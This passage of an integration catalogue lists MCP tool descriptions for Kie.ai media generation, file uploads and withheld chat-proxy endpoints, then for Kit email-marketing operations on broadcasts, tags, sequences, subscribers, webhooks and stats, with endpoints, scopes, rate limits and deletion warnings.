kie.ai/pricing rate, and Kie.ai accepts at most 20 new tasks per 10 seconds per account. POST /api/v1/kieai/api/v1/jobs/createTask/volcengine. Scopes: api. kieai_create_wan_task (write) — Start a Wan video and image generation task on Kie.ai. Alibaba Wan 2.2-3.0 text-, image-, speech- and reference-to-video, animation, video editing and Wan 2.7 images. Set body.model to one of the 20 models listed in the schema and body.input to that model's parameters. Returns data.taskId at once; poll kieai_get_api_v1_jobs_recordinfo (or pass body.callBackUrl) for the result. SPENDS CREDITS at the model's kie.ai/pricing rate, and Kie.ai accepts at most 20 new tasks per 10 seconds per account. POST /api/v1/kieai/api/v1/jobs/createTask/wan. Scopes: api. kieai_create_z_image_task (write) — Start a Z-Image generation task on Kie.ai. Z-Image text-to-image. Set body.model to one of the 1 models listed in the schema and body.input to that model's parameters. Returns data.taskId at once; poll kieai_get_api_v1_jobs_recordinfo (or pass body.callBackUrl) for the result. SPENDS CREDITS at the model's kie.ai/pricing rate, and Kie.ai accepts at most 20 new tasks per 10 seconds per account. POST /api/v1/kieai/api/v1/jobs/createTask/z_image. Scopes: api. kieai_get_api_v1_chat_credit (read) — Return the Kie.ai account's remaining credit balance. Every generation spends prepaid credits at the model's kie.ai/pricing rate, so check it before starting an expensive video or music task. (GET https://api.kie.ai/api/v1/chat/credit) GET /api/v1/kieai/api/v1/chat/credit. Scopes: api. kieai_get_api_v1_jobs_recordinfo (read) — Poll a task created by any kieai_create_*_task tool. data.state is waiting, queuing, generating, success or fail; on success data.resultJson (a JSON string) carries the output URLs, and on fail data.failCode and data.failMsg say why. Poll every few seconds with backoff and stop after 10-15 minutes; generated files are kept 14 days. An unknown taskId answers validation_error 'recordInfo is null' (measured). (GET https://api.kie.ai/api/v1/jobs/recordInfo) GET /api/v1/kieai/api/v1/jobs/recordInfo. Scopes: api. kieai_post_api_file_base64_upload (write) — Upload a small file sent as base64 or a data: URL and return data.downloadUrl for use as a model input URL. Refused here above 4 MiB decoded; use the URL upload for larger files. Uploaded files are temporary. Served by kieai.redpandaai.co. (POST https://kieai.redpandaai.co/api/file-base64-upload) POST /api/v1/kieai/api/file-base64-upload. Scopes: api. kieai_post_api_file_stream_upload (write) — Upload file bytes to Kie.ai's multipart stream-upload endpoint and return data.downloadUrl. The bytes travel in this call as base64 (or a data: URL) and the connector sends them as the multipart/form-data `file` part Kie.ai expects. Refused here above 4 MiB decoded; use the URL upload for larger files. Uploaded files are temporary. Served by kieai.redpandaai.co. (POST https://kieai.redpandaai.co/api/file-stream-upload) POST /api/v1/kieai/api/file-stream-upload. Scopes: api. kieai_post_api_file_url_upload (write) — Have Kie.ai download a public http(s) URL (30 s timeout, up to ~100 MB) into temporary storage and return data.downloadUrl for use as a model input URL. uploadPath is a folder without leading or trailing slashes; reusing a fileName overwrites. Uploaded files are temporary (the page says both 24 h and 3 days). Served by kieai.redpandaai.co. (POST https://kieai.redpandaai.co/api/file-url-upload) POST /api/v1/kieai/api/file-url-upload. Scopes: api. kieai_post_api_v1_common_download_url (write) — Turn a file URL that Kie.ai generated (image, video or audio) into a temporary download link valid for 20 minutes. Only Kie.ai-generated URLs are accepted; an external URL answers validation_error. (POST https://api.kie.ai/api/v1/common/download-url) POST /api/v1/kieai/api/v1/common/download-url. Scopes: api. kieai_post_api_v1_gpt4o_image_download_url (write) — Turn a 4o Image result URL, with the taskId that produced it, into a direct download URL valid for 20 minutes (avoids cross-domain download problems). Records older than 14 days, or tasks that did not succeed, answer validation_error. (POST https://api.kie.ai/api/v1/gpt4o-image/download-url) POST /api/v1/kieai/api/v1/gpt4o-image/download-url. Scopes: api. kieai_post_api_v1_omni_audio_create (write) — Create a named voice from one of Gemini's preset voices (audio_id, e.g. kore, puck, zephyr) for use with the Gemini Omni models; returns data.kieAudioId, which kieai_post_api_v1_omni_character_create accepts in audio_ids. (POST https://api.kie.ai/api/v1/omni/audio/create) POST /api/v1/kieai/api/v1/omni/audio/create. Scopes: api. kieai_post_api_v1_omni_character_create (write) — Create a reusable character for the Gemini Omni models from a text description and one or two reference image URLs (index 0 the portrait, index 1 an optional body image, each at most 20 MB), optionally with voice ids from kieai_post_api_v1_omni_audio_create; returns data.characterId. (POST https://api.kie.ai/api/v1/omni/character/create) POST /api/v1/kieai/api/v1/omni/character/create. Scopes: api. kieai_post_api_v1_responses (write) — WITHHELD: GPT Codex responses (chat proxy) via POST /api/v1/responses. Excluded by owner decision 2026-09-14; refused before any request is made. POST /api/v1/kieai/api/v1/responses. Scopes: api. kieai_post_claude_v1_messages (write) — WITHHELD: Claude messages (chat proxy) via POST /claude/v1/messages. Excluded by owner decision 2026-09-14; refused before any request is made. POST /api/v1/kieai/claude/v1/messages. Scopes: api. kieai_post_codex_v1_responses (write) — WITHHELD: Codex responses (chat proxy) via POST /codex/v1/responses. Excluded by owner decision 2026-09-14; refused before any request is made. POST /api/v1/kieai/codex/v1/responses. Scopes: api. kieai_post_gemini_2_5_flash_v1_chat_completions (write) — WITHHELD: Gemini 2.5 Flash chat completions (chat proxy) via POST /gemini-2.5-flash/v1/chat/completions. Excluded by owner decision 2026-09-14; refused before any request is made. POST /api/v1/kieai/gemini-2.5-flash/v1/chat/completions. Scopes: api. kieai_post_gemini_2_5_pro_v1_chat_completions (write) — WITHHELD: Gemini 2.5 Pro chat completions (chat proxy) via POST /gemini-2.5-pro/v1/chat/completions. Excluded by owner decision 2026-09-14; refused before any request is made. POST /api/v1/kieai/gemini-2.5-pro/v1/chat/completions. Scopes: api. kieai_post_gemini_3_1_pro_v1_chat_completions (write) — WITHHELD: Gemini 3.1 Pro chat completions (chat proxy) via POST /gemini-3.1-pro/v1/chat/completions. Excluded by owner decision 2026-09-14; refused before any request is made. POST /api/v1/kieai/gemini-3.1-pro/v1/chat/completions. Scopes: api. kieai_post_gemini_3_5_flash_openai_v1_chat_completions (write) — WITHHELD: Gemini 3.5 Flash chat completions (chat proxy) via POST /gemini-3-5-flash-openai/v1/chat/completions. Excluded by owner decision 2026-09-14; refused before any request is made. POST /api/v1/kieai/gemini-3-5-flash-openai/v1/chat/completions. Scopes: api. kieai_post_gemini_3_6_flash_openai_v1_chat_completions (write) — WITHHELD: Gemini 3.6 Flash chat completions (chat proxy) via POST /gemini-3-6-flash-openai/v1/chat/completions. Excluded by owner decision 2026-09-14; refused before any request is made. POST /api/v1/kieai/gemini-3-6-flash-openai/v1/chat/completions. Scopes: api. kieai_post_gemini_3_7_flash_openai_v1_chat_completions (write) — WITHHELD: Gemini 3.7 Flash chat completions (chat proxy) via POST /gemini-3-7-flash-openai/v1/chat/completions. Excluded by owner decision 2026-09-14; refused before any request is made. POST /api/v1/kieai/gemini-3-7-flash-openai/v1/chat/completions. Scopes: api. kieai_post_gemini_3_8_flash_openai_v1_chat_completions (write) — WITHHELD: Gemini 3.8 Flash chat completions (chat proxy) via POST /gemini-3-8-flash-openai/v1/chat/completions. Excluded by owner decision 2026-09-14; refused before any request is made. POST /api/v1/kieai/gemini-3-8-flash-openai/v1/chat/completions. Scopes: api. kieai_post_gemini_3_flash_v1_chat_completions (write) — WITHHELD: Gemini 3 Flash chat completions (chat proxy) via POST /gemini-3-flash/v1/chat/completions. Excluded by owner decision 2026-09-14; refused before any request is made. POST /api/v1/kieai/gemini-3-flash/v1/chat/completions. Scopes: api. kieai_post_gemini_3_pro_v1_chat_completions (write) — WITHHELD: Gemini 3 Pro chat completions (chat proxy) via POST /gemini-3-pro/v1/chat/completions. Excluded by owner decision 2026-09-14; refused before any request is made. POST /api/v1/kieai/gemini-3-pro/v1/chat/completions. Scopes: api. kieai_post_gemini_v1_models_gemini_3_5_flash_streamgeneratecontent (write) — WITHHELD: Gemini 3.5 Flash streamGenerateContent (chat proxy) via POST /gemini/v1/models/gemini-3-5-flash:streamGenerateContent. Excluded by owner decision 2026-09-14; refused before any request is made. POST /api/v1/kieai/gemini/v1/models/gemini-3-5-flash:streamGenerateContent. Scopes: api. kieai_post_gemini_v1_models_gemini_3_6_flash_streamgeneratecontent (write) — WITHHELD: Gemini 3.6 Flash streamGenerateContent (chat proxy) via POST /gemini/v1/models/gemini-3-6-flash:streamGenerateContent. Excluded by owner decision 2026-09-14; refused before any request is made. POST /api/v1/kieai/gemini/v1/models/gemini-3-6-flash:streamGenerateContent. Scopes: api. kieai_post_gemini_v1_models_gemini_3_7_flash_streamgeneratecontent (write) — WITHHELD: Gemini 3.7 Flash streamGenerateContent (chat proxy) via POST /gemini/v1/models/gemini-3-7-flash:streamGenerateContent. Excluded by owner decision 2026-09-14; refused before any request is made. POST /api/v1/kieai/gemini/v1/models/gemini-3-7-flash:streamGenerateContent. Scopes: api. kieai_post_gemini_v1_models_gemini_3_8_flash_streamgeneratecontent (write) — WITHHELD: Gemini 3.8 Flash streamGenerateContent (chat proxy) via POST /gemini/v1/models/gemini-3-8-flash:streamGenerateContent. Excluded by owner decision 2026-09-14; refused before any request is made. POST /api/v1/kieai/gemini/v1/models/gemini-3-8-flash:streamGenerateContent. Scopes: api. kieai_post_gemini_v1_models_gemini_3_flash_v1betamodels_streamgeneratecontent (write) — WITHHELD: Gemini 3 Flash streamGenerateContent (chat proxy) via POST /gemini/v1/models/gemini-3-flash-v1betamodels:streamGenerateContent. Excluded by owner decision 2026-09-14; refused before any request is made. POST /api/v1/kieai/gemini/v1/models/gemini-3-flash-v1betamodels:streamGenerateContent. Scopes: api. kieai_post_gpt_5_2_v1_chat_completions (write) — WITHHELD: GPT 5.2 chat completions (chat proxy) via POST /gpt-5-2/v1/chat/completions. Excluded by owner decision 2026-09-14; refused before any request is made. POST /api/v1/kieai/gpt-5-2/v1/chat/completions. Scopes: api. kieai_post_grok_v1_responses (write) — WITHHELD: Grok responses (chat proxy) via POST /grok/v1/responses. Excluded by owner decision 2026-09-14; refused before any request is made. POST /api/v1/kieai/grok/v1/responses. Scopes: api. ================================================================================ ## Kit URL: https://www.agenticfabriq.com/integrations/kit Section: Integrated Tools Kit — 83 MCP tools Provider key: kit. Scopes: public. Connect: AF hosted — Agentic Fabriq's OAuth app, coming soon; BYO — your org admin registers the OAuth app, then your end user signs in to their account through it (POST /api/v1/apps/{app_id}/external-users/{uid}/oauth/{provider}/initiate, redirect to oauth_url); API / credentials — your end user pastes a credential into an Agentic Fabriq-hosted connect screen (POST /api/v1/apps/{app_id}/external-users/{uid}/credentials/{provider}/initiate, redirect to connect_url). Every path is end-user self-service — no admin-entered credential. Branch at runtime on GET /api/v1/apps/{app_id}/external-users/providers/capabilities, on oauth || key_connect — two branches, no third. key_connect means "connect through the credentials initiate", not "the user pastes a key": AF’s hosted page decides what it asks for. link_connect describes that page for your UI copy and is never a routing flag. kit_delete_v4_broadcasts_by_id (write, destructive) — Delete a broadcast. DELETE /v4/broadcasts/{id}. Permanently deletes a draft or scheduled broadcast and returns `204 No Content` on success. This is a hard delete and cannot be undone. Note: a broadcast that is currently sending or has already been sent cannot be deleted — the request returns a `422` with `Broadcast is already sending.` or `Broadcast has already been sent.` respectively. To keep a scheduled broadcast without sending it, unschedule it via Update a broadcast instead. DELETE /api/v1/kit/v4/broadcasts/{id}. Scopes: public. kit_delete_v4_bulk_tags (write, destructive) — Bulk delete tags. DELETE /v4/bulk/tags. REQUIRES AN OAUTH CONNECTION: Kit refuses an API key here. See "Bulk & async processing" for more information. DELETE /api/v1/kit/v4/bulk/tags. Scopes: public. kit_delete_v4_bulk_tags_subscribers (write, destructive) — Bulk remove tags from subscribers. DELETE /v4/bulk/tags/subscribers. REQUIRES AN OAUTH CONNECTION: Kit refuses an API key here. See "Bulk & async processing" for more information. DELETE /api/v1/kit/v4/bulk/tags/subscribers. Scopes: public. kit_delete_v4_custom_fields_by_id (write, destructive) — Delete custom field. DELETE /v4/custom_fields/{id}. This will remove all data in this field from your subscribers. DELETE /api/v1/kit/v4/custom_fields/{id}. Scopes: public. kit_delete_v4_sequences_by_id (write, destructive) — Delete a sequence. DELETE /v4/sequences/{id}. Soft-deletes a sequence. The sequence is removed from active delivery immediately, with cleanup of associated state happening in the background. Warning: deleting a sequence with active subscribers stops deliveries to those subscribers — they will not receive remaining emails, and any Visual Automations referencing the sequence will need to be updated. Confirm the sequence is not in active use before deleting. If you want to pause rather than delete, use Update a sequence with `active: false` instead. DELETE /api/v1/kit/v4/sequences/{id}. Scopes: public. kit_delete_v4_sequences_by_sequence_id_emails_by_id (write, destructive) — Delete a sequence email. DELETE /v4/sequences/{sequence_id}/emails/{id}. Permanently removes one email from a sequence. Warning: subscribers already queued to receive the deleted email will skip it — they'll continue to the next email in sequence order. This is intentional and not retryable. If subscribers need to receive the email's content, send a broadcast or re-add subscribers to the sequence (with `repeat: true`) before deleting. If you want to pause rather than delete, use Update a sequence email with `published: false` instead. DELETE /api/v1/kit/v4/sequences/{sequence_id}/emails/{id}. Scopes: public. kit_delete_v4_subscribers_by_subscriber_id_location (write, destructive) — Delete a subscriber's location. DELETE /v4/subscribers/{subscriber_id}/location. Removes the subscriber's pinned location and returns `204 No Content` on success. After deletion, Kit may re-infer the subscriber's location from future open events. To set or replace a pinned location, use Pin a subscriber's location; to replace the values on an existing pin, use Update a subscriber's pinned location. Returns `404` when the subscriber is not found. DELETE /api/v1/kit/v4/subscribers/{subscriber_id}/location. Scopes: public. kit_delete_v4_tags_by_tag_id_subscribers (write, destructive) — Remove tag from subscriber by email address. DELETE /v4/tags/{tag_id}/subscribers. Removes the tag from a subscriber identified by the `email_address` query parameter, returning `204 No Content`. The subscriber stays in your account and keeps their other tags — only this tag association is removed. This is the email-address variant of Remove tag from subscriber — use it when you have the subscriber's email but not their `id`. Returns `404` when the tag doesn't exist or no subscriber matches the email address. DELETE /api/v1/kit/v4/tags/{tag_id}/subscribers. Scopes: public. kit_delete_v4_tags_by_tag_id_subscribers_by_id (write, destructive) — Remove tag from subscriber. DELETE /v4/tags/{tag_id}/subscribers/{id}. Removes the tag from the subscriber and returns `204 No Content`. The subscriber stays in your account and keeps their other tags — only this tag association is removed. Returns `404` when the tag or subscriber id doesn't exist. To identify the subscriber by email address instead of id, use Remove tag from subscriber by email address. To remove tags from many subscribers at once, use Bulk remove tags from subscribers. DELETE /api/v1/kit/v4/tags/{tag_id}/subscribers/{id}. Scopes: public. kit_delete_v4_webhook_endpoints_by_id (write, destructive) — Delete a webhook endpoint. DELETE /v4/webhook_endpoints/{id}. Deletes the webhook endpoint and stops all future deliveries of its subscribed events. Returns `204 No Content` on success and `404` when the id doesn't exist or isn't visible to the caller. Endpoints created by an app (via OAuth) can only be deleted by that app; an API key request returns `403`. To stop deliveries temporarily instead, update the endpoint's `status` to `disabled`. DELETE /api/v1/kit/v4/webhook_endpoints/{id}. Scopes: public. kit_delete_v4_webhooks_by_id (write, destructive) — Delete a webhook. DELETE /v4/webhooks/{id}. Legacy: This deletes a previous-generation webhook. If you're replacing it rather than retiring it, consider recreating it as a webhook endpoint — see the webhooks guides. Deletes the webhook and stops all future deliveries of its subscribed events to the target URL. Returns `204 No Content` on success, `404` when the id doesn't exist, and `422` when the webhook cannot be deleted. Find webhook ids with List webhooks; register a replacement with Create a webhook. DELETE /api/v1/kit/v4/webhooks/{id}. Scopes: public. kit_get_v4_account (read) — Get current account. GET /v4/account. Returns the authenticated account and user: account `id`, `name`, `plan_type`, primary email address, timezone, and the account's sending addresses with their verification and DMARC status. For OAuth apps this is the standard way to identify which account authorized your app after the token exchange. For subscriber-growth metrics, see Get growth stats; for account-level email performance, see Get email stats. GET /api/v1/kit/v4/account. Scopes: public. kit_get_v4_account_colors (read) — List colors. GET /v4/account/colors. Returns the account's saved brand color palette as an array of hex codes (up to 10). These are the colors available in Kit's editors for emails, forms, and landing pages. To change the palette, use Update colors. GET /api/v1/kit/v4/account/colors. Scopes: public. kit_get_v4_account_creator_profile (read) — Get Creator Profile. GET /v4/account/creator_profile. Returns the account's Creator Profile — the public-facing identity shown on their Kit profile page and in the Creator Network: display `name`, `byline`, `bio`, `image_url`, and the public `profile_url`. Note: returns `404` when the account hasn't set up a Creator Profile, so handle that case rather than treating it as an error in your integration. GET /api/v1/kit/v4/account/creator_profile. Scopes: public. kit_get_v4_account_email_stats (read) — Get email stats. GET /v4/account/email_stats. Returns account-level email performance for the last 90 days: `sent`, `opened`, and `clicked` counts plus open, click, unsubscribe, and bounce rates, with the exact reporting window in `starting`/`ending` (`email_stats_mode` is `last_90`). The `open_tracking_enabled` and `click_tracking_enabled` flags indicate whether tracking is switched on for the account — open and click rates are only meaningful while tracking is enabled. For subscriber-growth metrics over a custom date range, use Get growth stats; for per-broadcast performance, use Get stats for a broadcast. GET /api/v1/kit/v4/account/email_stats. Scopes: public. kit_get_v4_account_growth_stats (read) — Get growth stats. GET /v4/account/growth_stats. Get growth stats for a specific time period. Defaults to last 90 days. NOTE: We return your stats in your sending time zone. This endpoint does not return timestamps in UTC. GET /api/v1/kit/v4/account/growth_stats. Scopes: public. kit_get_v4_broadcasts (read) — List broadcasts. GET /v4/broadcasts. Returns a cursor-paginated list of broadcasts in the account with their content, targeting (`subscriber_filter`), email template, and web-publishing settings. Filter by lifecycle `status` (`draft`, `scheduled`, `sending`, `completed`, `aborted`) and by the `sent_after`/`sent_before` timestamps. Default 500 results per page, maximum 1000. Tip: set `slim=true` to omit the expensive fields (`content`, `public_url`, `email_address`, `email_template`, `subscriber_filter`) for a faster, smaller response — useful when you only need identifiers and subjects. Delivery and engagement stats are not included in this response; use Get stats for a list of broadcasts for those. Broadcasts that are also published as posts share a `publication_id` with the matching post from List posts. GET /api/v1/kit/v4/broadcasts. Scopes: public. kit_get_v4_broadcasts_by_broadcast_id_clicks (read) — Get link clicks for a broadcast. GET /v4/broadcasts/{broadcast_id}/clicks. Returns click performance for each link in a broadcast: the link `url`, its `unique_clicks`, and its click-to-delivery and click-to-open rates. Useful for seeing which calls to action actually drove engagement. Note: Pagination parameters control the list of links returned for the top-level broadcast; results are cursor-paginated. Data retention: Starting October 15, 2026, email stats (opens, clicks, sends, bounces, and unsubscribes) are available via the API for the last 5 years — click data for broadcasts older than that window is no longer available. Older data is archived and can no longer be retrieved via the API; creators can contact Kit support to request an export of their archived data. See Email data retention for the full policy. GET /api/v1/kit/v4/broadcasts/{broadcast_id}/clicks. Scopes: public. kit_get_v4_broadcasts_by_broadcast_id_stats (read) — Get stats for a broadcast. GET /v4/broadcasts/{broadcast_id}/stats. Returns delivery and engagement stats for a single broadcast: recipients, opens, clicks, unsubscribes, their corresponding rates, plus the sending `status` and `progress`. The `open_tracking_disabled` and `click_tracking_disabled` flags indicate whether tracking was enabled when the broadcast was sent — interpret open and click counts accordingly. To fetch stats for many broadcasts at once, use Get stats for a list of broadcasts; for per-link click detail, use Get link clicks for a broadcast. Data retention: Starting October 15, 2026, email stats (opens, clicks, sends, bounces, and unsubscribes) are available via the API for the last 5 years — requesting stats for a broadcast sent before that window returns a `400` error. Older data is archived and can no longer be retrieved via the API; creators can contact Kit support to request an export of their archived data. See Email data retention for the full policy. GET /api/v1/kit/v4/broadcasts/{broadcast_id}/stats. Scopes: public. kit_get_v4_broadcasts_by_id (read) — Get a broadcast. GET /v4/broadcasts/{id}. Returns a single broadcast's full record: subject, `content` (HTML), preview text, targeting (`subscriber_filter`), email template, sending schedule (`send_at`), and web-publishing details (`public`, `public_url`, `published_at`). Delivery and engagement stats are not included; use Get stats for a broadcast for opens, clicks, and unsubscribes, or Get link clicks for a broadcast for per-link detail. A broadcast that is also published as a post shares its `publication_id` with the matching post from List posts. GET /api/v1/kit/v4/broadcasts/{id}. Scopes: public. kit_get_v4_broadcasts_stats (read) — Get stats for a list of broadcasts. GET /v4/broadcasts/stats. Returns delivery and engagement stats — recipients, opens, clicks, unsubscribes, and their corresponding rates — for a page of broadcasts in a single request, avoiding a call per broadcast. Narrow the results with the `status` filter and the `sent_after`/`sent_before` timestamps; results are cursor-paginated with up to 1000 broadcasts per page (default 500). For a single broadcast, use Get stats for a broadcast. Data retention: Starting October 15, 2026, email stats (opens, clicks, sends, bounces, and unsubscribes) are available via the API for the last 5 years — broadcasts sent before that window are omitted from this list. Older data is archived and can no longer be retrieved via the API; creators can contact Kit support to request an export of their archived data. See Email data retention for the full policy. GET /api/v1/kit/v4/broadcasts/stats. Scopes: public. kit_get_v4_custom_fields (read) — List custom fields. GET /v4/custom_fields. A custom field allows you to collect subscriber information beyond the standard fields of first name and email address. An example would be a custom field called last name so you can get the full names of your subscribers. You create a custom field, and then you're able to use that in your forms or emails. GET /api/v1/kit/v4/custom_fields. Scopes: public. kit_get_v4_email_templates (read) — List email templates. GET /v4/email_templates. Returns a cursor-paginated list of the account's email templates with each template's `id`, `name`, `is_default` flag, and `category` (for example `HTML` or `Starting point`). Use a template's `id` as the `email_template_id` when creating or updating a broadcast. Note: templates in the `Starting point` category are generally not supported when creating broadcasts via the API — using one returns a `Starting point email template is not supported` error unless your app has been enabled for it. See Create a broadcast. GET /api/v1/kit/v4/email_templates. Scopes: public. kit_get_v4_forms (read) — List forms. GET /v4/forms. Returns a cursor-paginated list of forms and landing pages in the account. Both live on this endpoint — filter with `type=embed` for embedded forms or `type=hosted` for landing pages. By default only `active` forms are returned; use `status` (`active`, `archived`, `trashed`, or `all`) to widen the search. Add `include=subscriber_count` to embed each form's subscriber count. Each form includes its `uid`, `embed_js`, and `embed_url` for embedding on your site. To see who joined via a form, use List subscribers for a form; to add an existing subscriber, use Add subscriber to form. GET /api/v1/kit/v4/forms. Scopes: public. kit_get_v4_forms_by_form_id_subscribers (read) — List subscribers for a form. GET /v4/forms/{form_id}/subscribers. Returns a cursor-paginated list of subscribers who joined through (or were added to) the form. By default only `active` subscribers are returned — use `status` (`active`, `inactive`, `bounced`, `complained`, `cancelled`, or `all`) to widen the search. Filter by when they were added to the form with `added_after`/`added_before`, or by when the subscriber record was created with `created_after`/`created_before`. Set `slim=true` to omit expensive optional fields for a faster, smaller response. GET /api/v1/kit/v4/forms/{form_id}/subscribers. Scopes: public. kit_get_v4_posts (read) — List posts. GET /v4/posts. Returns a cursor-paginated list of the account's posts — content published to the creator's Kit site and/or sent by email — with each post's `status` (e.g. `draft`, `scheduled`, `published`), `slug`, `public_url`, `is_paid` flag, and timestamps for publishing and sending. Post bodies are omitted by default; set `include_content=true` to embed the `content` HTML on each post (this significantly increases response size and latency for large collections — prefer Get a post for a single body). A post that was also sent as a broadcast shares its `publication_id` with the matching broadcast from List broadcasts. GET /api/v1/kit/v4/posts. Scopes: public. kit_get_v4_posts_by_id (read) — Get a post. GET /v4/posts/{id}. Returns a single post's full record, including its `content` HTML, `status` (e.g. `draft`, `scheduled`, `published`), `slug`, SEO fields (`description`, `meta_description`), thumbnail, `is_paid` flag, and the `public_url` where it's published on the creator's Kit site. A post that was also sent as a broadcast shares its `publication_id` with the matching broadcast — see List broadcasts. GET /api/v1/kit/v4/posts/{id}. Scopes: public. kit_get_v4_purchases (read) — List purchases. GET /v4/purchases. REQUIRES AN OAUTH CONNECTION: Kit refuses an API key here. Returns a cursor-paginated list of purchases recorded in the account, typically imported from e-commerce platforms. Each purchase includes its `transaction_id`, `status`, `source` (e.g. the originating platform), the buyer's `email_address` and `subscriber_id`, monetary breakdown (`subtotal`, `discount`, `tax`, `total`, `currency`), and the purchased `products`. To record a new purchase, use Create a purchase. GET /api/v1/kit/v4/purchases. Scopes: public. kit_get_v4_purchases_by_id (read) — Get a purchase. GET /v4/purchases/{id}. REQUIRES AN OAUTH CONNECTION: Kit refuses an API key here. Returns a single purchase's details: `transaction_id`, `status`, `source`, the buyer's `email_address` and `subscriber_id`, monetary breakdown (`subtotal`, `discount`, `tax`, `total`, `currency`), `transaction_time`, and the purchased `products` with quantities and unit prices. GET /api/v1/kit/v4/purchases/{id}. Scopes: public. kit_get_v4_segments (read) — List segments. GET /v4/segments. Returns a cursor-paginated list of all segments in the account with their `id`, `name`, and creation date. Segments are created and managed in the Kit app — the API doesn't currently support creating or updating them. Use segment ids for targeting, for example in a broadcast's `subscriber_filter` (see Create a broadcast). GET /api/v1/kit/v4/segments. Scopes: public. kit_get_v4_sequences (read) — List sequences. GET /v4/sequences. Returns every sequence on the account. A sequence is a self-contained set of automated emails — subscribers join, then receive each email in order, governed by per-email `delay_value` / `delay_unit` and the sequence's overall `send_days`, `send_hour`, and `time_zone` schedule. Each entry carries the schedule defaults plus three behavioural toggles: `active` (whether the sequence is delivering), `repeat` (whether subscribers can re-enter), and `hold` (whether subscribers stay active after receiving every published email — an evergreen pattern). See Create a sequence for the full sequence model. Once you have a sequence's `id`, List sequence emails returns the individual emails inside it. For end-user context on how creators build sequences, see the help articles on creating and sending a sequence and evergreen content. GET /api/v1/kit/v4/sequences. Scopes: public. kit_get_v4_sequences_by_id (read) — Get a sequence. GET /v4/sequences/{id}. Fetches a single sequence by `id`. Use this when you need the current schedule, the `active` / `repeat` / `hold` flags, the configured `email_address` and `email_template_id`, or `exclude_subscriber_sources` for a known sequence — for example, to confirm settings before adding subscribers or to render an editor. For the individual emails inside the sequence, use List sequence emails. For the sequence model and field semantics, see Create a sequence. GET /api/v1/kit/v4/sequences/{id}. Scopes: public. kit_get_v4_sequences_by_sequence_id_emails (read) — List sequence emails. GET /v4/sequences/{sequence_id}/emails. Returns every email inside a sequence, ordered by `position` (the order subscribers receive them). Each entry carries timing (`delay_value`, `delay_unit`, `send_days`), publish state (`published`), and metadata (`subject`, `preview_text`, `email_template_id`). Tip: the heavier `content` field is omitted by default to keep responses fast on sequences with many emails. Pass `include_content=true` when you need the body — for example, to render a preview, audit Liquid usage, or sync an external draft. For the field semantics — particularly how `delay_unit` and `send_days` interact, and what happens when subscribers hit a `published: false` email — see Create a sequence email. GET /api/v1/kit/v4/sequences/{sequence_id}/emails. Scopes: public. kit_get_v4_sequences_by_sequence_id_emails_by_id (read) — Get a sequence email. GET /v4/sequences/{sequence_id}/emails/{id}. Fetches a single sequence email by `id`. Unlike List sequence emails, this endpoint always returns the full `content` — no `include_content` flag needed. Use this when you have an email's `id` and need the current body, timing, or publish state — for example, to render a preview before pushing an update via Update a sequence email. For the field semantics, see Create a sequence email. GET /api/v1/kit/v4/sequences/{sequence_id}/emails/{id}. Scopes: public. kit_get_v4_sequences_by_sequence_id_subscribers (read) — List subscribers for a sequence. GET /v4/sequences/{sequence_id}/subscribers. Returns a cursor-paginated list of subscribers in the sequence, each with an `added_at` timestamp for when they entered it. By default only `active` subscribers are returned — use `status` (`active`, `inactive`, `bounced`, `complained`, `cancelled`, or `all`) to widen the search. Filter by when subscribers entered the sequence with `added_after`/`added_before`, or by when the subscriber record was created with `created_after`/`created_before`. To add a subscriber to the sequence, use Add subscriber to sequence. GET /api/v1/kit/v4/sequences/{sequence_id}/subscribers. Scopes: public. kit_get_v4_snippets (read) — List snippets. GET /v4/snippets. Returns every snippet on the account. Each snippet's `key` is the identifier used in Liquid — `{{ snippet.key }}` — when creating a broadcast or sequence email. See Create a snippet for how snippets work end-to-end. Tip: the heavier `content` and `document` fields are omitted by default to keep responses fast. Pass `include_content=true` when you need the body — for example, to render a preview or audit Liquid usage. Filter the result with `snippet_type` (`inline` or `block`) and `archived` (defaults to `false`, set `true` to list only archived snippets). GET /api/v1/kit/v4/snippets. Scopes: public. kit_get_v4_snippets_by_id (read) — Get a snippet. GET /v4/snippets/{id}. Fetches a single snippet by `id`. Unlike List snippets, this endpoint always returns the full `content` and `document` — no `include_content` flag needed. Use this when you have an `id` (e.g. stored from a prior create call) and need the current `key` and body — for example, to preview the resolved HTML or confirm a snippet still exists before referencing it as `{{ snippet.key }}` in a broadcast or sequence email. See Create a snippet for the snippet model. GET /api/v1/kit/v4/snippets/{id}. Scopes: public. kit_get_v4_subscribers (read) — List subscribers. GET /v4/subscribers. Returns a cursor-paginated list of subscribers in the account. By default only `active` subscribers are returned — use `status` (`active`, `inactive`, `bounced`, `complained`, `cancelled`, or `all`) to widen the search. Look a subscriber up by exact `email_address`, filter by `created_after`/`created_before` and `updated_after`/`updated_before`, and order with `sort_field` (`id`, `created_at`, `updated_at`, `cancelled_at`, or an `engagement__`) and `sort_order`. Use `include` (comma-separated: `attribution`, `tags`, `location`, `canceled_at`) to embed extra fields on each subscriber — including `canceled_at` without `status=cancelled` returns a `422`. Set `slim=true` to omit the `fields` object (custom field values) for a faster, smaller response. Ordering by an engagement metric (opens, clicks, sends over the trailing 90 days) is supported here via `sort_field=engagement__`, but cannot be combined with an `email_address` filter. To *filter* subscribers by engagement, use Filter subscribers by engagement instead. Results are eventually consistent and may briefly lag very recent changes — see Eventual consistency. GET /api/v1/kit/v4/subscribers. Scopes: public. kit_get_v4_subscribers_by_id (read) — Get a subscriber. GET /v4/subscribers/{id}. Returns a single subscriber's record: first name, email address, `state` (e.g. `active` or `cancelled`), creation date, and their custom field values under `fields`. To look a subscriber up by email address instead of id, use List subscribers with the `email_address` parameter. For their email engagement history, see List stats for a subscriber; for their tags, see List tags for a subscriber. GET /api/v1/kit/v4/subscribers/{id}. Scopes: public. kit_get_v4_subscribers_by_subscriber_id_stats (read) — List stats for a subscriber. GET /v4/subscribers/{subscriber_id}/stats. Retrieve email stats for a specific subscriber: totals for sent, opened, clicked, and bounced emails, open and click rates, and recency signals (`last_sent`, `last_opened`, `last_clicked`, and sends since the last open/click). Filter the stats with the `email_sent_after` and/or `email_sent_before` query parameters to limit them to emails sent within a specific date range. Data retention: Starting October 15, 2026, email stats (opens, clicks, sends, bounces, and unsubscribes) are available via the API for the last 5 years — `email_sent_after`/`email_sent_before` are clamped to that window, and dates outside it return a `400` error indicating the earliest available date. Older data is archived and can no longer be retrieved via the API; creators can contact Kit support to request an export of their archived data. See Email data retention for the full policy. GET /api/v1/kit/v4/subscribers/{subscriber_id}/stats. Scopes: public. kit_get_v4_subscribers_by_subscriber_id_tags (read) — List tags for a subscriber. GET 